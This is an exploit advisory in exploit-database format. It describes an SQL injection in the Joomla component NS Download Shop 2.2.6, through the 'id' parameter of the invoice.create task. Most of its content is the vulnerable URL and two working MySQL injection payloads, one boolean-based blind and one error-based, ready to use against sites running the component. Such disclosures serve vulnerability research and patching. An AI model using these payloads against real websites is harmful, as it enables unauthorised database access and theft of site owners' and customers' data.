# # # # # 
# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection
# Dork: N/A
# Date: 29.09.2017
# Vendor Homepage: https://nswd.co/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/
# Demo: https://ds.nswd.co/
# Version: 2.2.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#   
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL >= 5.0 boolean-based blind - Parameter replace
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
#   
# Etc..
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